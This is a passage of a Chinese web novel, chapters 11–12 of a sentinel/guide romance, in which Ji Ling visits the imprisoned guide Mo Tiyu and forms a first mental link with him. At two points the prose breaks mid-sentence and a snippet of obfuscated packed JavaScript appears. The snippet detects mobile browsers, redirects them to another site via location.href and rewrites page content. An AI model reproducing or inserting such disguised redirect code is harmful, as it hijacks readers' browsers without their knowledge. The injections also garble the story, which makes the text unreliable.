过载的症状又开始浮现,起初不明显,只是肌肤的感觉变得更敏锐,随后这种敏锐无限地放大,空气的温度、体积几乎都变成令人不适的摩擦感,细密幽微的隐痛似乎爬满四肢百骸,随后是痒,一种渴求过瘾的痒意。 莫提雨垂下头,额头抵在报纸上,苍白的指尖也开始颤抖,起初这个幅度可以控制,但是很快,这种幅度变得更大。 精神力检测装置的颜色由蓝转黄,即将变红发出濒危告警的时候,电源插头被一只手干脆利落地拔掉了。 莫提雨费力地睁开眼,冷汗涔涔,视线模糊中,他看见一张几天前见过的脸正向他凑近。 一双湛蓝而锐利的眼睛正盯着他,眼睛的主人穿着浅灰色的长风衣,一只手伸过来,轻轻地握住他的手。 11. 链接是否同意 霁泠每次的出现都如鬼影。现在这里是重重把守的监狱医疗室,半分钟前甚至还有人从门口经过。 他的手很冰,没有手套的防护,握着莫提雨的手的力度似乎也不能确定,但他微微用力地、不松手地握着莫提雨的指尖。 这么多年不见,他明显已经熟悉向导的过载急救情况:阻断和锚定。 他低低地说:“莫提雨,看着我,告诉我你现在在哪里,我是谁。” “不用很快告诉我,但是可以先看着我的眼睛。” …… 他在哪里? 莫提雨颤抖得很厉害,霁泠那冰冷的、带着霜雪气息的手是他接触的唯一稳固和清晰的事物,和霁泠本人一样冷硬、决绝。 胃部好像填满了冰块,虚无的黑洞一般的冬天好像逐渐向四肢百骸蔓延。它们封住他的胃,也封住每一寸关节,这种感觉一次一次把他拉回冰凉的水里,冻结每一根神经,冻结到发梢。 “我……”莫提雨吃力地吐出这个字,有雾气凝结在空中,他浅灰色的眼睛时而混乱时而清晰。 直到霁泠握着他的手变得温暖。 霁泠另一只手动了动,似乎想要抚摸一下莫提雨乌黑的、冷汗浸透的头发。 但他克制住了这种冲动,就这么握了一会儿莫提雨的手,莫提雨慢慢地从颤抖中恢复。 并不是良好的恢复,而是理性的部分压了下去——莫提雨骨子里的指挥官性格重新浮现,他睁开眼看向霁泠,眼神有些微微的涣散,但很快变成清醒。 他的声音已经沙哑。 “霁泠。” “对。我是霁泠,你的敌人。”霁泠俯身凑近,手仍然稳稳地握着莫提雨的手,声音仍然很低,眼眸冷静,“风雪很重,这个监狱的系统破解后不会那么快修复,今天我们至少有一个小时的时间。” 外边的守卫的确已经不见了,监狱的识别系统大约被霁泠用什么未知的手段破解了。 霁泠静静地看着他,守着他。 再见到莫提雨,他本来有很多话想说,但此刻都不想说了。 同学多年,敌对多年,海风不断地送回莫提雨的消息。他看着他步入军部,见过潮汐捎来过他的气息,破译的频道中时常能听见莫提雨沉静微冷的声调;他看着那个当年笑眼弯弯,散漫又敏锐的少年一路长成青年,扛起更重的责任,走入更深的路。 然后被折断和幽囚。 莫提雨和他的对抗始终维持着一个可控的度:双方在默认都对抗变异者的时候,也默认了彼此的部队不愿意和同一战线的友军发生流血事件,所有的行动以固守和谈判为主;而对于中立区资源的争夺则绝不留情,风向复杂的海域之上,莫提雨和霁泠各自为王,为绯岸和自己的舰队镇着安全航路,其他势力绝无可能从他们手中咬下一块肉。 莫提雨一只手掩着眼睛,指尖穿过冷汗涔涔的发梢。 “是你。” “事情顺利吗?” 霁泠沉默了一会儿,湛蓝的眸冷静地看着他:“多亏你。实验数据找到了。” 霁泠此行是为泛用性向导素的进一步研发冒险,绯岸在过去的年月里积累了任何地方都没有的精神力异常患者的数据,全部封存在不为人知的地方。 绯岸和苍雪岸都没有通过泛用性向导素的研究法案,很显然只有霁泠选择了继续研发,这些信息都是上次的信息交换时,他告诉莫提雨的。 莫提雨的态度,莫提雨对泛用性向导素的看法,对变异者的看法……本来这一切都应该在未来的某一刻,他们彼此坐下来详谈。 甚至在计划中,等泛用性向导素的研发取得突破性进展后,绯岸军部必然而且是唯一的选择,就是派人促进和谈,这个人选大概率就是莫提雨,他是绯岸塔最后可以商量的高级军官,因为这是作为敌人的了解和掌控。 现在这一切都在崩毁,绯岸的人和事夺走了一切,甚至争夺了输赢的机会。 从学院时期到现在,霁泠想过无数个和莫提雨彻底分胜负的场景,但绝不是现在这样。 霁泠一只手仍然握着他的手,另一只手却紧紧攥着,指节用力到发白,指尖几乎陷入掌心。熟悉的愤怒在他湛蓝的眼睛里出现。 哨兵的愤怒,极纯粹的愤怒出现在眼底,精神频率几乎让窗外的大雪也停滞了一瞬。 但他死死地按捺着,没有让精神力波及莫提雨,没有惊动这个房间里寂静的空气。 很久之后。 霁泠放慢语速,每个字都像是被冷却过:“他们没有好好对你。” 莫提雨抬起头,淡色的眼眸认真地看着他,视线似乎能穿透这个多年未见的故人和对手,似乎令人眩晕。 “他们也没有好好对老师。”霁泠说,眼眸仍如同野生的狼一般深彻危险,他注视着莫提雨,抛出了一个谨慎的话题,“我知道老师的下落,你想听吗?” 莫提雨怔了怔,随后点头。 “老师通缉后一直下落不明,但我这一趟过来时,在北部和苍雪岸的交界地带探查到老师的信息。” “那里是混乱地带,很危险,他至少已经在那里呆了两年。最近那里有变异者活跃,他很危险,我派了人过去,老师传达的意思是,他不愿意走,因为他要留在那里救治那些在战场上受伤,被判定为失去作战能力的士兵。这些士兵基本都已经无法行动了。” “他要 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17179527|196951||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我给你带话。” 霁泠说,他的眼睛亮了亮,话语随着辗转的信息一起传递给莫提雨:“他说,再去找找。” ——再去找找灵魂的锚点,那个所有向导和哨兵最重要的地方。至少不是在这里,不是在这个覆满大雪的昏黄监狱中。 别松的处境不容乐观,可以说已经极其接近死亡,这是他的选择,两个挚爱的学生都无法干预。别松是普通人,但很显然已经找到了他所说的那个锚点,他决定死在那里了。 在平静地迈入死亡之前,他唯独给莫提雨留了这句话,这是他放心不下的最后一个人。 再去找找。 莫提雨垂下眼,默默收下这句话,他的神色看不出在想什么。只有过了一会后,他说:“好。” 过了一会儿,莫提雨看向霁泠,说:“还有什么我能帮上忙的地方吗?” 霁泠停顿了一下。 这一次的沉默比之前任何一次都长,长到莫提雨歪歪头,看向这个长久以来的唯一敌人。 霁泠慢慢地说:“我要链接你的精神图景。” 真正的目的暴露了。 这是个突兀的征求意见,因为哨兵和向导的精神链接几乎是固定、唯一的。 当然,也可以进行浅层的链接和试探,这也是许多哨兵和向导在终身搭档之前的初期接触方式。这么多年来,霁泠和莫提雨从未有过精神图景的链接和接触。 莫提雨那双浅淡的眸中终于翻涌起惊讶。 霁泠没有表情,蓝色的眼眸定定地看着他:“你状态不好。但你是我最大的威胁,也是我的核心战略资产,在你状况不稳定的时候,我不会让你落在任何人手里。” 雪原上的狼王终于暴露了他的核心目的,大雪和冰原之上,这双缜密无情的眼睛从不放过任何机会。当风雪逼近,绝境来临,所有生物都在寒冬中退却时,对信息最敏感的哨兵就已经嗅出了机会。 这一刻,霁泠和从前的差别已经赫然显现,他不再是那个训练室里战斗到伤痕累累的幼小的狼,现在他是一个真正的君王,绝无虚言。 莫提雨笑了一下:“这是你这次的核心目的?” “没错。”霁泠的眼睛冷静、缜密,紧紧地盯着他,“值得我冒着风险亲自来见的人不多。老师是一个,你是一个。” “跟我链接,告诉我监狱的系统和审判日的组成规模,我会把你作为战略资源回收。我想你不会有异议。” 霁泠仍握着他的手,但低下头看他,凑得更近了一些,气息不容质疑,但仍保持着安全距离。 他的眉间只有冷静:“接受这一点需要一些时间。莫提雨……你的命比你想的更有价值。” 12. 第一次链接 霁泠的蓝眼睛一瞬不瞬地看着他,好像不会被风吹起涟漪的水波,或者莫提雨不曾见过的苍雪岸,与天一色的冰原。 霁泠一向擅长战略出击和直接行动,谈判也极有力度,是他一直那直白得近乎纯粹的利弊权衡。 “被霁泠回收”。 这个选项,莫提雨倒是没有想过,而且完全不在计划之中。霁泠的时机的确选得太好了——在他毫无反抗之力的时候。 只不过,强行进行精神链接是对双方都有风险的事,霁泠应该也做好了预估——莫提雨的精神图景里有一切他的船舰想要的信息和识别信息,但如果莫提雨拒绝,那么就只能另寻他法。 这是利益最大化的方案…… 霁泠靠得更近,低头等待他的回答,莫提雨被迫往后靠了靠,微仰着头,乌黑的发丝软软地掠过呼吸的温热,淡色的眼睛安宁温热,好像在思索,又好像和上学时走神一样,在看窗外路过的小猫。 霁泠的手撑在病床边,但仍然保持了礼貌克制的距离,即便他和莫提雨的距离已经近到了比以往任何时候都近。他的喉结上下滚动了一下。 “有关绯岸的军事机密,我暂时不能告诉你。”莫提雨浅色的眸中仿佛游动着霜色,他慢慢地眨了眨眼睛,“我的精神力接近全废,而且随时有失控的风险。对于你来说,没有回收的价值,霁泠。” 他熟悉霁泠的作战风格。 即便选择了最合适的时机突入,但仍然会根据猎物和环境情况随时抽身而走,当猎物已经完全失去价值的时候,霁泠会走得比任何人都果决。 霁泠说:“有。这个价值你并不知道。” 他说完后,抬眼看了看墙上的时钟,视线回落莫提雨的眼中,仍然等待着他的回答。 莫提雨也看着他,似乎没有想明白他说的是什么。但是在霁泠的注视下,他很快放弃了更多的思考。 莫提雨说:“我有一个请求。” 霁泠说:“你说。” 莫提雨说:“我从前的作战小队已经全部重组,我暂时找不到别人帮我联络这件事。曾经有一个哨兵拜托我收敛和寻找他朋友的精神力遗物,我找到了,但是还没有转交给他。” “那个哨兵已经退伍,不会有任何威胁,我想请你帮忙完成这件事。” 霁泠说:“好。”他答应得很干脆,没有丝毫犹豫。 随后他见到莫提雨主动向自己伸出手,苍白的手背上是淡青色的血管,指尖微张,边缘散着莹润的光。 仍是靠在病床上,面容苍白,微微歪头看他……好像对精神链接这件事没有抗拒。 莫提雨说:“我没有试过建立精神图景的链接,是这样吗?” 他浅色的眼眸好像有魔力,明明淡淡的,看人的时候却非常认真,好像有星星藏在一泓湖底,看得人几乎从脚底就开始发热。 那些哨兵和向导的链接知识,他们两个人都快要还给老师了。莫提雨和白慕予的婚约人尽皆知,但两个向导最多可以进行一下共情陪伴,而且以白慕予的身体情况,这样的陪伴可能也没有。 和哨兵链接,这是第一次尝试。 霁泠的蓝眼睛里仍旧是冷静:“……我知道。”实际上也完全忘光了。 “初次链接尝试……比普通的信息交换,深一点就好。” 他也伸出手,扣住莫提雨的指尖,随后轻轻压在枕边。 莫提雨仍歪头看着他。 当两个人的精神力相撞的时候,莫提雨的眼底出现一抹极亮的蓝色,随后迅速消散。 霁泠首先撞入的是已经接近损毁的精神暗流,数不清的风暴和雷电充斥着莫提雨的精神图景,数不清的共情痕迹化为漆黑的风肆意穿刺,剧烈地侵蚀着每一寸完好的土地,每一次战役,每一条人命,每一次攻讦,都是精神图景中凌厉的风痕。风暴的中央,一只蓝色的蝴蝶静静地停着。 当霁泠侵入时,这些漆黑的风暴仿佛有意识一般向他涌来,咆哮着要撕碎这个首次闯入的外来者。 霁泠也是首次进得这么深,但他反应极快,迅速在汹涌的风暴中找到生机,没有被卷入同等级别的共情风暴中。 两个人十指相扣,双目相对,呼吸几乎贴着呼吸,莫提雨又开始颤抖,冷汗再次慢慢地浸湿额角的碎发。 霁泠在察觉他的颤抖的第一瞬间就及时地抽身回退,另一只手轻轻按住莫提雨的瘦削的脊背,蓝色的眼睛观察着莫提雨的瞳孔。 被他染上了一点微蓝色。虽然这微蓝色迅速地回退了。 莫提雨不受控制地闭了闭眼,随后才抬起来,慢慢说道:“我的状态,你看见了。” “我见过更糟糕的,没关系。”霁泠一如既往的冷静,他的指尖在他的脊背停留了一会儿,才轻轻松开,“这次链接很好,这样更方便我掌控你的状态和信息。” “我会遵守诺言,完成你的请求。”霁泠站起身,将被子拉起来,覆在莫提雨身上,接下来他放低了声音,以精神力输送给莫提雨一段耳语。 “保持联系,保持静默,保持存在。” “现在开始,你是属于我的猎物。任何人都不能将你从我这里夺走。” 秒针的声音重新清晰。霁泠再次消失,除了留下了房间里幽微不可查的,雪花的气息。 被这样一头狼盯上,这件事无疑是任何人都想不到的变数。 莫提雨抬起自己的手,看了一会儿。 霁泠可能需要他的理由有很多。不论哪个时期,莫提雨在绯岸塔的战略价值都是最高级别,只要有他在,最基本的:所有部队面临的危险等级,都不会遭到误判和混淆;他甚至能单凭一个痕迹判断出敌方的所有心理活动及战略意图。 霁泠或许希望他能够恢复并为己所用,甚至不需要他发挥作用——只要绯岸失去莫提雨,霁泠的获利就是无穷大,这是一本万利的回收计划。 霁泠和他的这一次精神链接时间太短,他的状态也非常差, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17179528|196951||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 暂且无法解读更多的信息。 但有一个基本的判断:霁泠进入这个地方绝非易事,他停留在绯岸的时间越长,塔和塔里的哨兵们就会搜集到更多他的气息和痕迹,霁泠以后见他只会越来越困难。 哨兵归根究底是一种极野性、天生具备动物本能的精神力者,捕捉信息几乎是刻入DNA的天生本能,霁泠这种极其卓越的哨兵,没人知道他对信息的搜集能力有多强,范围有多广,当他已经完全掌握了伪造气息的能力之后,他就如一只藏在大雪山林中的银毛狼王,随时在隐蔽的地方等待着行动。 绯岸对他的追捕是地毯式的,即使效率极低,但得益于塔和塔的信息传递,当大雪被彻底清理之时,狼王也需要及时转移。 绯岸并不是霁泠的老地方,这次霁泠明显是单人行动,具体要如何突破军部的重重阻隔“回收”他,莫提雨目前也想不到。 * 大雪中,乌鸦被钢结构振动的响声惊动,飞起一大片,但观察到来人是谁之后,它们又飞回了原处,纷纷落在还未完全建成的栏杆上。 这是一个“塔”,正在施工中,尚且只有主体的结构,精神力材料还没有填入,一旦建造完成,它将负责沟通市中心的监控塔,担任起汇集所有哨兵情报的职责。 白天施工,夜晚停工,没人能想到未完成的顶层居然住着人。 霁泠随手将没吃完的面包放在一边,喂给这些饥饿的乌鸦,他蓝色的眼睛亮起的时候,乌鸦的眼睛也跟着泛起蓝光。 这是他在这座哨兵密布的城市中最小单位的眼线;甚至不用精神力控制:动物天生知道跟随王者。 它们是霁泠和其他人联络的栈桥。在得到允许之前,其他人不能踏入绯岸核心城一步。 “告诉他们留着手里的那批泛用性向导素。不必担心我。”霁泠伸出手,一只乌鸦跳上他的指尖,专注听取他的话,霁泠看着它说,“我找到我的向导了。” 乌鸦叼起一块面包,迅速地振翅飞向远方。 他的脚边,银色的精神体狼幻化出现,它向前趴了趴,随后伸长脖子,舔了舔空中的雪粒,又小心翼翼地伸出爪子,像是想要碰什么东西。 蝴蝶。 漂亮的、蓝光闪闪的柔软蝴蝶,和雪很像,却比雪还要软。 莫提雨的呼吸比雪还柔软,在那么近的距离,虽然几乎被消耗殆尽,但那双眸子里的光仍然清醒宁静,令人着魔,即便不再主动启用精神力也依然如此。 现在蝴蝶允许了他的第一步触碰。 大雪中的银狼嗅到星光的气息。 那双藏着星星的淡色眼睛里染上属于他的蓝色的时候,几乎没有任何一种胜利能盖过那种成就感,没有一次胜利的战役比这更爽快,几乎让人呼吸都颤抖。 霁泠揉了揉发红的耳朵,仍然是面无表情。他一边面无表情,一边想到莫提雨瘦削得令人心惊的肩头,于是恨恨地咬牙,更用力地揉,试图让涌上的血色消退。